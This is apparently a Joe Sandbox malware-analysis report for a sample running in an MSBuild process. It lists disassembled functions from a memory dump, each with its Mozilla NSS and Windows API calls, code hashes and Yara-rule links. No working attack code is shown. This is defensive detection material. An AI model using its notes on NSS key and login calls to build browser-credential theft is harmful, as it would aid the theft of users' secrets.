Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 4a0e1683cf8472c75f027edff666fd0c8a84b244bd4ec75bbdcc13433b963100
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: BA2138B1D103564BEB00CF549D54BAA3764AF9630DF160269DD085B742F7B1E688C392

Function 6CD02870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CD08915
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CD08920
free.MOZGLUE(?), ref: 6CD08929
free.MOZGLUE(?,-00000001,?,?,?,6CCF0279,?), ref: 6CD08942

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Destroyfree$PrivatePublic
String ID:
API String ID: 4267951533-0
Opcode ID: 670435a146fe77050b39a1d7f1a2bee6209fa753a846b1cce04231d0615eed07
Instruction ID: ed1f3469eacd65b2e28a409a06b47f98613c6ac98e4d4056d0c4c2505c7605b5
Opcode Fuzzy Hash: 670435a146fe77050b39a1d7f1a2bee6209fa753a846b1cce04231d0615eed07
Instruction Fuzzy Hash: 72218475701600DFD704DF09E889EA67BB8FF46355B0940BEE9099B722C731A805CB95

Function 6CC769B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CC76AB7,0000000C,00000001,00000000,?,?,6CC76AB7,?,00000000,?), ref: 6CC769CE

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

SEC_ASN1EncodeItem_Util.NSS3(6CC76AB7,0000001C,00000004,?,00000001,00000000), ref: 6CC76A06
SEC_ASN1EncodeItem_Util.NSS3(6CC76AB7,?,00000000,?,00000001,00000000,?,?,6CC76AB7,?,00000000,?), ref: 6CC76A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CC76AB7,?,00000000,?), ref: 6CC76A42

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 6be2d91eb40f02887fa09d8386faf3d222fef0adb280e55b24b4963cb5c6586e
Instruction ID: d1f32abc791ceab74086952c9d41081a1e2847d3439951c79d3344a853a54486
Opcode Fuzzy Hash: 6be2d91eb40f02887fa09d8386faf3d222fef0adb280e55b24b4963cb5c6586e
Instruction Fuzzy Hash: F411C171640A05AFEB20CE6ADC80B5677ACEB4076CF10C529EA29C3E01F731E885C7B0

Function 6CC9ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC9ACC2

Part of subcall function 6CC72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC72F0A
Part of subcall function 6CC72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC72F1D

Part of subcall function 6CC72AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CC70A1B,00000000), ref: 6CC72AF0
Part of subcall function 6CC72AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC72B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC9AD5E

Part of subcall function 6CCB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CC7B41E,00000000,00000000,?,00000000,?,6CC7B41E,00000000,00000000,00000001,?), ref: 6CCB57E0
Part of subcall function 6CCB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CCB5843

CERT_DestroyCertList.NSS3(?), ref: 6CC9AD36

Part of subcall function 6CC72F50: CERT_DestroyCertificate.NSS3(?), ref: 6CC72F65
Part of subcall function 6CC72F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC72F83

free.MOZGLUE(?), ref: 6CC9AD4F

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 803f9cb6789c400b332e551862679db339d854df51577e7987951c04650e4077
Instruction ID: bd6045f0ac4978b44c62e187d41eecf32d20a940bc58d4915e189d0236ef4ce6
Opcode Fuzzy Hash: 803f9cb6789c400b332e551862679db339d854df51577e7987951c04650e4077
Instruction Fuzzy Hash: 8F21A2B2D00218DBEB10DF65D9055EEB7B8EF45359F054068D809BBB10FB31AA59CBE1

Function 6CCCECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CCCF0AD,6CCCF150,?,6CCCF150,?,?,?), ref: 6CCCECBA

Part of subcall function 6CCD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC787ED,00000800,6CC6EF74,00000000), ref: 6CCD1000
Part of subcall function 6CCD0FF0: PR_NewLock.NSS3(?,00000800,6CC6EF74,00000000), ref: 6CCD1016
Part of subcall function 6CCD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC787ED,00000008,?,00000800,6CC6EF74,00000000), ref: 6CCD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CCCECD1

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CCCED02

Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CCCED5A

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d6ba126f39268372ca3048c20594d46a6c6f37641056e359daa2fd7a8e2402db
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 9321D1B1A017429BE700CF26D945B52B7E4BFA5308F26C259E81C87A61FB70E594C7D1

Function 6CC9C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CC9C890

Part of subcall function 6CC98F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC98FAF
Part of subcall function 6CC98F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC98FD1
Part of subcall function 6CC98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC98FFA
Part of subcall function 6CC98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC99013
Part of subcall function 6CC98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC99042
Part of subcall function 6CC98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC9905A
Part of subcall function 6CC98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC99073
Part of subcall function 6CC98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC99111

PR_GetCurrentThread.NSS3 ref: 6CC9C8B2

Part of subcall function 6CD39BF0: TlsGetValue.KERNEL32(?,?,?,6CD80A75), ref: 6CD39C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC9C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC9C8EB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 32e345b8ec06a769535c058805e924571a1311020525161f1117ce246004343a
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: E001D676E112117BEB003AB9AC80AFF3A699F4526CF080135FD08E7B11F761895993F6

Function 6CCFED10 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCFED34
realloc.MOZGLUE(?,?), ref: 6CCFED5D
PORT_Alloc_Util.NSS3(?), ref: 6CCFED74

Part of subcall function 6CCD0BE0: malloc.MOZGLUE(6CCC8D2D,?,00000000,?), ref: 6CCD0BF8
Part of subcall function 6CCD0BE0: TlsGetValue.KERNEL32(6CCC8D2D,?,00000000,?), ref: 6CCD0C15

memset.VCRUNTIME140(?,?,?), ref: 6CCFED97

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemsetrealloc
String ID:
API String ID: 2992043971-0
Opcode ID: 9e842f99c2c8aeefb4ea03f7231c179f8e1a093d671f8e2182ee7981034d8ba9
Instruction ID: c9ac47a3ccca23647c7c528a868282e7d1164fa2882e1a35bb7900a2bacd4320
Opcode Fuzzy Hash: 9e842f99c2c8aeefb4ea03f7231c179f8e1a093d671f8e2182ee7981034d8ba9
Instruction Fuzzy Hash: B511A0B0A05716ABE7509F26DC84B56B3A8AF40359F24457AED2983E40F330E565CAF1

Function 6CCC4900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6CCAC79F,?,?,6CCC5C4A,?), ref: 6CCC4950

Part of subcall function 6CCC8800: TlsGetValue.KERNEL32(?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8821
Part of subcall function 6CCC8800: TlsGetValue.KERNEL32(?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC883D
Part of subcall function 6CCC8800: EnterCriticalSection.KERNEL32(?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8856
Part of subcall function 6CCC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCC8887
Part of subcall function 6CCC8800: PR_Unlock.NSS3(?,?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8899

TlsGetValue.KERNEL32(?,?,?), ref: 6CCC496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCC497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCC4989

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: ab21e40c328b347e5d2d19fc1ea6277a202d593dc3887b809c74597a014439ae
Instruction ID: 94606f2380f21b2ac7ee689e2068b83758273d0399225a550589804fda8c5e5d
Opcode Fuzzy Hash: ab21e40c328b347e5d2d19fc1ea6277a202d593dc3887b809c74597a014439ae
Instruction Fuzzy Hash: 4F112FB5B002109BFB00AF28EC41A2673BCFB0232DB148129EE0997E11F721F81487A6

Function 6CCE08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CCE09B3,0000001A,?), ref: 6CCE08E9

Part of subcall function 6CCD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCD08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CCE08FD

Part of subcall function 6CCCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCC8D2D,?,00000000,?), ref: 6CCCFB85
Part of subcall function 6CCCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCCFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CCE0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCE0953

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 89844b105e22f6c61285bff983544ff43b3effcb0ba1619e609b01741e4bf6c7
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: F301C4B1A0164A6BFB149F369C10B673798AF49318F14443DEC1AC6E41FF22E4149AD5

Function 6CCFEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CCE7FFA,?,6CCE9767,?,8B7874C0,0000A48E), ref: 6CCFEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CCE7FFA,?,6CCE9767,?,8B7874C0,0000A48E), ref: 6CCFEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CCE7FFA,?,6CCE9767,?,8B7874C0,0000A48E), ref: 6CCFEE14

Part of subcall function 6CCD0BE0: malloc.MOZGLUE(6CCC8D2D,?,00000000,?), ref: 6CCD0BF8
Part of subcall function 6CCD0BE0: TlsGetValue.KERNEL32(6CCC8D2D,?,00000000,?), ref: 6CCD0C15

memcpy.VCRUNTIME140(?,?,6CCE9767,00000000,00000000,6CCE7FFA,?,6CCE9767,?,8B7874C0,0000A48E), ref: 6CCFEE33

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 3f85983bf929c5f2abe7c2aee9b8b1979dbe4a0bc70bfcb61e5ee9ee30b9574c
Instruction ID: 63d90334bc4b44cf6cf580372d748763fa9d02395d6ef7af409a1b497e07ed97
Opcode Fuzzy Hash: 3f85983bf929c5f2abe7c2aee9b8b1979dbe4a0bc70bfcb61e5ee9ee30b9574c
Instruction Fuzzy Hash: 261191B1A04706ABEB509F65EC84B46B3A8AF0035CF204539E92983A00F330E46687E1

Function 6CCC49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CCC8800: TlsGetValue.KERNEL32(?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8821
Part of subcall function 6CCC8800: TlsGetValue.KERNEL32(?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC883D
Part of subcall function 6CCC8800: EnterCriticalSection.KERNEL32(?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8856
Part of subcall function 6CCC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCC8887
Part of subcall function 6CCC8800: PR_Unlock.NSS3(?,?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8899

PR_SetError.NSS3 ref: 6CCC4A10
TlsGetValue.KERNEL32(6CCB781D,?,6CCABD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCC4A24
EnterCriticalSection.KERNEL32(?,?,?,6CCABD28,00CD52E8), ref: 6CCC4A39
PR_Unlock.NSS3(?,?,?,?,6CCABD28,00CD52E8), ref: 6CCC4A4E

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: afa1024168a6648acca64a88f629ba6616aaf53015646bee6590b9d1028b51f0
Instruction ID: 08b1bbf061cbd41b025fc21a43117ced67b7b84e1e1460b6f1d9b26b5911d767
Opcode Fuzzy Hash: afa1024168a6648acca64a88f629ba6616aaf53015646bee6590b9d1028b51f0
Instruction Fuzzy Hash: 2A2147B4B046008FEB10EF79C18896AB7F8FF45318B01892DD9859BB01F730E884CB96

Function 6CC98DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC98DE7
EnterCriticalSection.KERNEL32 ref: 6CC98DFC
PR_Unlock.NSS3 ref: 6CC98E2D
PR_SetError.NSS3 ref: 6CC98E49

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 406419fdd8c2a22166f64e92246c94263110cb51f9c04d2f9d2e5600afe87a77
Instruction ID: 659e951642d5dc1ae688c1c6e8511a77518e083cb74aee63c091e15f1279bf6c
Opcode Fuzzy Hash: 406419fdd8c2a22166f64e92246c94263110cb51f9c04d2f9d2e5600afe87a77
Instruction Fuzzy Hash: B4115175A056119FD700AF78D58456ABBF8FF45714F014969DD88D7B00E730E894CBD1

Function 6CD1AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CD05F17,?,?,?,?,?,?,?,?,6CD0AAD4), ref: 6CD1AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CD05F17,?,?,?,?,?,?,?,?,6CD0AAD4), ref: 6CD1ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CD0AAD4), ref: 6CD1ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CD0AAD4), ref: 6CD1ACDB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
